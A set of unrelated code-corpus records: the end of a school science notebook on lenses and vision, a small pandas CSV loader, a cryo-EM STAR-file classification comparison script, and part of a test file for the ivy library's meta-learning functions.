you have glasses, or contact lenses, then you are constantly using refraction in order to help you see! Lenses use refraction to point light in specific directions.\n\nGenerally speaking, there are two types of lenses: **convex** and **concave**.\n\nTo see how each type of lens affects light, use the following animation.\n\n#IFrame('Animations/convex.html',width=520,height=420)\n\n%%html\n<iframe src='Animations/convex.html' width=520 height=430></iframe>\n\n\nAs seen above, a convex lens focuses light towards a specific point, while a concave lens will spread light away from a point. These lenses can be combined in many ways in order to produce different effects. For example, a camera lens uses a series of both convex and concave lenses in order to direct incoming light towards the back of the camera.\n\n<img src=\"http://i.imgur.com/IH2ymaj.jpg\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://www.reddit.com/r/pic/comments/3o3b7w/camera_lens_cut_in_half/ on August 3rd, 2018.</center>\n<center> Figure 5: This is what the inside of a camera lens looks like. The photographer can adjust how they want the picture to look by changing the distance between the individual lenses.</center>\n\n\n\n\n## Vision\n\nOur eyes are very complex organs, but the process that enables us to see is actually pretty simple. The basic steps are as follows:\n\n1. Light enters the eye through the **pupil**\n2. The convex **lens** behind the pupil directs incoming light towards the **retina**, which is like a screen at the back of our eye.\n3. The retina then sends this image to the brain.\n4. The brain then interprets the image. \n\n<img src=\"https://openclipart.org/image/2400px/svg_to_png/261647/EyeDiagram.png\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://openclipart.org/detail/261647/eye-diagram on August 3rd, 2018. </center>\n<center> Figure 6: This diagram shows some of the key components of the eye that enable us to see.</center>\n\nHowever, the image that is projected onto the retina is actually upside down! \n\n<img src=\"https://m.eet.com/media/1077748/max-hfield-01.gif\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://www.eetimes.com/author.asp?section_id=14&doc_id=1282795 on August 3rd, 2018.</center>\n<center> Figure 7: The convex lens at the front of our eye actually flips images upside down.</center>\n\nSo the retina actually sends an upside down image to the brain, and the brain automatically flips the image rightside up.\n\nUse the following link to see an animation showing how a convex lens flips images upside down:https://phet.colorado.edu/sims/geometric-optics/geometric-optics_en.html.\n\n\n## Technology & Inventions\n\n### The Telescope\n\nThe first telescope was made by Hans Lippershey in 1608, but it was Galileo Galilee who became famous by using it for astronomy. There are many different types of telescopes, but they all use reflection and refraction to make far away objects appear closer.\n\nA telescope uses a large opening to collect incoming light, and then directs this light towards your eye by using mirrors and lenses.\n\n<img src=\"https://www.skyandtelescope.com/wp-content/uploads/three-scopes.jpg\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://www.skyandtelescope.com/press-releases/tips-for-first-time-telescope-buyers/ on August 3rd, 2018.</center>\n<center> Figure 8: Telescopes come in many different shapes and sizes.</center>\n\nThe reason why things look bigger when looking through a telescope is because of the lenses.\n\n\n### The Microscope\n\n\n- talk about invention of microscope\n- why it works\n\n\n## Conclusion\n\nOur understanding of light is the result of hundreds of years of research and innovation. Along the way, we have created incredible new technologies that have allowed us to look further than ever before.\n\n<img src=\"https://xenlife.com.au/wp-content/uploads/Hubble-Space-Telescope-650x250-1078x516.jpg\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://xenlife.com.au/hubble-space-telescope-important/ on August 3rd, 2018.</center>\n<center> Figure 9: The Hubble Space Telescope has shown us pictures of galaxies that are billions of light years away.</center>\n \n\n\n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "8e26369e18b42a51cc19b2d902b9312c629fe0ed", "size": 16685, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/LightOpticalSystems/light-optical-systems.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/LightOpticalSystems/light-optical-systems.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/LightOpticalSystems/light-optical-systems.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 60.0179856115, "max_line_length": 428, "alphanum_fraction": 0.7691938867, "include": true, "reason": "import numpy,from astropy", "num_tokens": 4019, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4035668537353746, "lm_q2_score": 0.12940274334274965, "lm_q1q2_score": 0.05222265799555967}}
{"text": "import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef importarDados(filepath):\n    path = os.getcwd() + filepath  \n    data = pd.read_csv(path, header=None)\n\n    X = data.iloc[:, 0:-1].values\n    y = data.iloc[:, -1:].values\n\n    return X, y\n", "meta": {"hexsha": "7967be5cc66318e0fe42e3896b01f6251a12aff8", "size": 275, "ext": "py", "lang": "Python", "max_stars_repo_path": "T1/code/plot_ex1data2.py", "max_stars_repo_name": "andersonmanhaes/ml_mestrado", "max_stars_repo_head_hexsha": "d737d80e07d9392895e4455e49a33b8700080cf1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "T1/code/plot_ex1data2.py", "max_issues_repo_name": "andersonmanhaes/ml_mestrado", "max_issues_repo_head_hexsha": "d737d80e07d9392895e4455e49a33b8700080cf1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "T1/code/plot_ex1data2.py", "max_forks_repo_name": "andersonmanhaes/ml_mestrado", "max_forks_repo_head_hexsha": "d737d80e07d9392895e4455e49a33b8700080cf1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.3333333333, "max_line_length": 41, "alphanum_fraction": 0.6509090909, "include": true, "reason": "import numpy", "num_tokens": 75, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.1294027265554491, "lm_q1q2_score": 0.05222265122076159}}
{"text": "\"\"\"\n\n    Script for comparing two classifications\n\n    Input:  - The STAR files with the classification to compare\n\n    Output: - Table with the similitude (number of shared particle / number of particles per class) among classes\n\n\"\"\"\n\n__author__ = 'Antonio Martinez-Sanchez'\n\n\n###### Global variables\n\nimport pyseg as ps\n\nCLASS_COL, PART_COL = '_rlnClassNumber', '_rlnImageName'\n\n########################################################################################\n# PARAMETERS\n########################################################################################\n\nROOT_PATH = '/fs/pool/pool-lucic2/antonio/workspace/psd_an/ex/syn/sub/relion/fils/pst_t/ch'\n\n# Input star files to compares\nin_star_1 = ROOT_PATH + '/pst_cont5/class_batch/run1_c8_5_it030_data.star'\nin_star_2 = ROOT_PATH + '/pst_cont5/class_batch/run1_c8_15_it030_data.star'\n\n########################################################################################\n# MAIN ROUTINE\n########################################################################################\n\n################# Package import\n\nimport sys\nimport copy\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import cm\n\n########## Print initial message\n\nprint('Similitude comparison between two classifications.')\nprint('\\tAuthor: ' + __author__)\nprint('\\tDate: ' + time.strftime(\"%c\") + '\\n')\nprint('Options:')\nprint('\\tInput file 1: ' + in_star_1)\nprint('\\tInput file 2: ' + in_star_2)\nprint('')\n\n######### Process\n\nprint('Main Routine: ')\n\nprint('\\tLoading input STAR file 1: ' + in_star_1)\nstar_1 = ps.sub.Star()\ntry:\n    star_1.load(in_star_1)\nexcept ps.pexceptions.PySegInputError as e:\n    print('ERROR: input STAR file could not be read because of \"' + str(e.msg, e.expr) + '\"')\n    sys.exit(-1)\nclasses_1 = list(set(star_1.get_column_data(CLASS_COL)))\nprint('\\t\\t-' + str(len(classes_1)) + ' classes found: ' + str(classes_1))\n\nprint('\\tLoading input STAR file 2: ' + in_star_2)\nstar_2 = ps.sub.Star()\ntry:\n    star_2.load(in_star_2)\nexcept ps.pexceptions.PySegInputError as e:\n    print('ERROR: input STAR file could not be read because of \"' + str(e.msg, e.expr) + '\"')\n    sys.exit(-1)\nclasses_2 = list(set(star_2.get_column_data(CLASS_COL)))\nprint('\\t\\t-' + str(len(classes_1)) + ' classes found: ' + str(classes_1))\n\nprint('\\tComputing similitude matrix (1 to 2)...')\nnparts_1 = np.zeros(shape=max(classes_1)+1, dtype=np.int)\nsim_mat_1 = np.zeros(shape=(max(classes_1)+1,max(classes_2)+1), dtype=np.float)\nparts_1, pclasses_1 = star_1.get_column_data(PART_COL), star_1.get_column_data(CLASS_COL)\nparts_2, pclasses_2 = star_2.get_column_data(PART_COL), star_2.get_column_data(CLASS_COL)\nfor part_1, pclass_1 in zip(parts_1, pclasses_1):\n    nparts_1[pclass_1] += 1\n    try:\n        idx = parts_2.index(part_1)\n        pclass_2 = pclasses_2[idx]\n        sim_mat_1[pclass_1, pclass_2] += 1\n    except ValueError:\n        pass\nfor i in range(1, sim_mat_1.shape[0]):\n    sim_mat_1[i, :] /= float(nparts_1[i])\n\nprint('\\tComputing similitude matrix (2 to 1)...')\nnparts_2 = np.zeros(shape=max(classes_2)+1, dtype=np.int)\nsim_mat_2 = np.zeros(shape=(max(classes_2)+1,max(classes_1)+1), dtype=np.float)\nfor part_2, pclass_2 in zip(parts_2, pclasses_2):\n    nparts_2[pclass_2] += 1\n    try:\n        idx = parts_1.index(part_2)\n        pclass_1 = pclasses_1[idx]\n        sim_mat_2[pclass_2, pclass_1] += 1\n    except ValueError:\n        pass\nfor i in range(1, sim_mat_2.shape[0]):\n    sim_mat_2[i, :] /= float(nparts_2[i])\n\nprint('\\tSIMILITUDE FOR 1 TO 2 CASE:')\nfor i in range(1, sim_mat_1.shape[0]):\n    print('\\t\\t-CLASS ' + str(classes_1[i-1]) + ': ' + str(sim_mat_1[i, 1:]))\n    print('\\t\\t\\t+Max: ' + str(sim_mat_1[i, 1:].max()))\n    print('\\t\\t\\t+Min: ' + str(sim_mat_1[i, 1:].min()))\n    print('\\t\\t\\t+Mean: ' + str(sim_mat_1[i, 1:].mean()))\n    print('\\t\\t\\t+Std: ' + str(sim_mat_1[i, 1:].std()))\n    print('\\t\\t\\t+Sum: ' + str(int(sim_mat_1[i, 1:].sum()) * nparts_1[i]))\n\nprint('\\tSIMILITUDE FOR 2 TO 1 CASE:')\nfor i in range(1, sim_mat_2.shape[0]):\n    print('\\t\\t-CLASS ' + str(classes_2[i-1]) + ': ' + str(sim_mat_2[i, 1:]))\n    print('\\t\\t\\t+Max: ' + str(sim_mat_2[i, 1:].max()))\n    print('\\t\\t\\t+Min: ' + str(sim_mat_2[i, 1:].min()))\n    print('\\t\\t\\t+Mean: ' + str(sim_mat_2[i, 1:].mean()))\n    print('\\t\\t\\t+Std: ' + str(sim_mat_2[i, 1:].std()))\n    print('\\t\\t\\t+Sum: ' + str(int(sim_mat_2[i, 1:].sum()) * nparts_2[i]))\n\nprint('Terminated. (' + time.strftime(\"%c\") + ')')", "meta": {"hexsha": "9689470af3f9e96c202b44b361993a045f9db982", "size": 4470, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/pyseg/scripts/sub/star_comp_class.py", "max_stars_repo_name": "anmartinezs/pyseg_system", "max_stars_repo_head_hexsha": "5bb07c7901062452a34b73f376057cabc15a13c3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2020-01-08T01:33:02.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T00:25:34.000Z", "max_issues_repo_path": "code/pyseg/scripts/sub/star_comp_class.py", "max_issues_repo_name": "anmartinezs/pyseg_system", "max_issues_repo_head_hexsha": "5bb07c7901062452a34b73f376057cabc15a13c3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-12-19T19:34:56.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-10T10:11:28.000Z", "max_forks_repo_path": "code/pyseg/scripts/sub/star_comp_class.py", "max_forks_repo_name": "anmartinezs/pyseg_system", "max_forks_repo_head_hexsha": "5bb07c7901062452a34b73f376057cabc15a13c3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-03-30T13:12:22.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T18:12:10.000Z", "avg_line_length": 35.76, "max_line_length": 113, "alphanum_fraction": 0.6080536913, "include": true, "reason": "import numpy", "num_tokens": 1363, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10521054652278744, "lm_q1q2_score": 0.052194302925217956}}
{"text": "\"\"\"Collection of tests for unified meta functions.\"\"\"\n\n# global\nimport pytest\nimport numpy as np\nfrom hypothesis import given, strategies as st\n\n# local\nimport ivy\nimport ivy.functional.backends.numpy\nimport ivy_tests.test_ivy.helpers as helpers\n\n\n# ToDo: replace dict checks for verifying costs with analytic calculations\n\n\n# First Order #\n# ------------#\n\n# fomaml step unique vars\n@given(\n    inner_grad_steps=st.integers(1, 3),\n    with_outer_cost_fn=st.booleans(),\n    average_across_steps=st.booleans(),\n    batched=st.booleans(),\n    stop_gradients=st.booleans(),\n    num_tasks=st.integers(1, 2),\n    return_inner_v=st.sampled_from([\"first\", \"all\", False]),\n)\ndef test_fomaml_step_unique_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n\n    if call is helpers.np_call:\n        # Numpy does not support gradients, and jax does not support gradients on\n        # custom nested classes\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variables\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[0.0]], device=device), num_tasks, 0)\n                ),\n                \"weight\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                ),\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(ivy.array([0.0], device=device)),\n                \"weight\": ivy.variable(ivy.array([1.0], device=device)),\n            }\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_v[\"latent\"] * sub_batch_in[\"x\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_v[\"latent\"] * sub_batch_in[\"x\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # numpy\n    weight_np = ivy.to_numpy(variables.weight[0:1])\n    latent_np = ivy.to_numpy(variables.latent[0:1])\n    batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # true gradient\n    all_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        all_outer_grads.append(\n            [\n                (\n                    -i * inner_learning_rate * weight_np * sub_batch[\"x\"][0] ** 2\n                    - sub_batch[\"x\"][0] * latent_np\n                )\n                * (-1 if with_outer_cost_fn else 1)\n                for i in range(inner_grad_steps + 1)\n            ]\n        )\n    if average_across_steps:\n        true_weight_grad = (\n            sum([sum(og) / len(og) for og in all_outer_grads]) / num_tasks\n        )\n    else:\n        true_weight_grad = sum([og[-1] for og in all_outer_grads]) / num_tasks\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 0.005, 2: 0.0125}, False: {1: 0.01, 2: 0.025}},\n            False: {True: {1: -0.005, 2: -0.0125}, False: {1: -0.01, 2: -0.025}},\n        },\n        2: {\n            True: {True: {1: 0.01, 2: 0.025}, False: {1: 0.02, 2: 0.05}},\n            False: {True: {1: -0.01, 2: -0.025}, False: {1: -0.02, 2: -0.05}},\n        },\n        3: {\n            True: {True: {1: 0.015, 2: 0.0375}, False: {1: 0.03, 2: 0.075}},\n            False: {True: {1: -0.015, 2: -0.0375}, False: {1: -0.03, 2: -0.075}},\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.fomaml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        inner_v=\"latent\",\n        outer_v=\"weight\",\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.weight[0]), np.array(true_weight_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# fomaml step shared vars\n@given(\n    inner_grad_steps=st.integers(1, 3),\n    with_outer_cost_fn=st.booleans(),\n    average_across_steps=st.booleans(),\n    batched=st.booleans(),\n    stop_gradients=st.booleans(),\n    num_tasks=st.integers(1, 2),\n    return_inner_v=st.sampled_from([\"first\", \"all\", False]),\n)\ndef test_fomaml_step_shared_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variable\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                )\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\"latent\": ivy.variable(ivy.array([1.0], device=device))}\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] ** 2)[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_batch_in[\"x\"] * sub_v[\"latent\"] ** 2)[0]\n        return cost / batch_size\n\n    # numpy\n    latent_np = ivy.to_numpy(variables.latent[0:1])\n    batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # loss grad function\n    def loss_grad_fn(sub_batch_in, w_in, outer=False):\n        return (\n            (1 if (with_outer_cost_fn and outer) else -1)\n            * 2\n            * sub_batch_in[\"x\"][0]\n            * w_in\n        )\n\n    # true gradient\n    true_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        ws = list()\n        grads = list()\n        ws.append(latent_np)\n        for step in range(inner_grad_steps):\n            update_grad = loss_grad_fn(sub_batch, ws[-1])\n            w = ws[-1] - inner_learning_rate * update_grad\n            if with_outer_cost_fn:\n                grads.append(loss_grad_fn(sub_batch, ws[-1], outer=True))\n            else:\n                grads.append(update_grad)\n            ws.append(w)\n        if with_outer_cost_fn:\n            grads.append(loss_grad_fn(sub_batch, ws[-1], outer=True))\n        else:\n            grads.append(loss_grad_fn(sub_batch, ws[-1]))\n\n        # true outer grad\n        if average_across_steps:\n            true_outer_grad = sum(grads) / len(grads)\n        else:\n            true_outer_grad = grads[-1]\n        true_outer_grads.append(true_outer_grad)\n    true_outer_grad = sum(true_outer_grads) / len(true_outer_grads)\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 1.0202, 2: 1.5509}, False: {1: 1.0404, 2: 1.6018}},\n            False: {True: {1: -1.0202, 2: -1.5509}, False: {1: -1.0404, 2: -1.6018}},\n        },\n        2: {\n            True: {\n                True: {1: 1.0409441, 2: 1.6042916},\n                False: {1: 1.0824323, 2: 1.7110746},\n            },\n            False: {\n                True: {1: -1.0409441, 2: -1.6042916},\n                False: {1: -1.0824323, 2: -1.7110746},\n            },\n        },\n        3: {\n            True: {\n                True: {1: 1.0622487, 2: 1.6603187},\n                False: {1: 1.1261624, 2: 1.8284001},\n            },\n            False: {\n                True: {1: -1.0622487, 2: -1.6603187},\n                False: {1: -1.1261624, 2: -1.8284001},\n            },\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.fomaml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.latent[0]), np.array(true_outer_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# fomaml step overlapping vars\n@given(\n    inner_grad_steps=st.integers(1, 3),\n    with_outer_cost_fn=st.booleans(),\n    average_across_steps=st.booleans(),\n    batched=st.booleans(),\n    stop_gradients=st.booleans(),\n    num_tasks=st.integers(1, 2),\n    return_inner_v=st.sampled_from([\"first\", \"all\", False]),\n)\ndef test_fomaml_step_overlapping_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variables\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[0.0]], device=device), num_tasks, 0)\n                ),\n                \"weight\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                ),\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(ivy.array([0.0], device=device)),\n                \"weight\": ivy.variable(ivy.array([1.0], device=device)),\n            }\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # numpy\n    latent_np = ivy.to_numpy(variables.latent[0:1])\n    weight_np = ivy.to_numpy(variables.weight[0:1])\n    batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # true gradient\n    all_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        all_outer_grads.append(\n            [\n                (\n                    -i * inner_learning_rate * weight_np * sub_batch[\"x\"][0] ** 2\n                    - sub_batch[\"x\"][0] * latent_np\n                )\n                * (-1 if with_outer_cost_fn else 1)\n                for i in range(inner_grad_steps + 1)\n            ]\n        )\n    if average_across_steps:\n        true_weight_grad = (\n            sum([sum(og) / len(og) for og in all_outer_grads]) / num_tasks\n        )\n    else:\n        true_weight_grad = sum([og[-1] for og in all_outer_grads]) / num_tasks\n\n    # true latent gradient\n    true_latent_grad = np.array(\n        [(-1 - (num_tasks - 1) / 2) * (-1 if with_outer_cost_fn else 1)]\n    )\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 0.005, 2: 0.0125}, False: {1: 0.01, 2: 0.025}},\n            False: {True: {1: -0.005, 2: -0.0125}, False: {1: -0.01, 2: -0.025}},\n        },\n        2: {\n            True: {True: {1: 0.01, 2: 0.025}, False: {1: 0.02, 2: 0.05}},\n            False: {True: {1: -0.01, 2: -0.025}, False: {1: -0.02, 2: -0.05}},\n        },\n        3: {\n            True: {True: {1: 0.015, 2: 0.0375}, False: {1: 0.03, 2: 0.075}},\n            False: {True: {1: -0.015, 2: -0.0375}, False: {1: -0.03, 2: -0.075}},\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.fomaml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        inner_v=\"latent\",\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.weight[0]), np.array(true_weight_grad))\n    assert np.allclose(ivy.to_numpy(outer_grads.latent[0]), np.array(true_latent_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# reptile step\n@pytest.mark.parametrize(\"inner_grad_steps\", [1, 2, 3])\n@pytest.mark.parametrize(\"batched\", [True, False])\n@pytest.mark.parametrize(\"stop_gradients\", [True, False])\n@pytest.mark.parametrize(\"num_tasks\", [1, 2])\n@pytest.mark.parametrize(\"return_inner_v\", [\"first\", \"all\", False])\ndef test_reptile_step(\n    device, call, inner_grad_steps, batched, stop_gradients, num_tasks, return_inner_v\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variable\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                )\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\"latent\": ivy.variable(ivy.array([1.0], device=device))}\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] ** 2)[0]\n        return cost / batch_size\n\n    # numpy\n    latent_np = ivy.to_numpy(variables.latent[0:1])\n    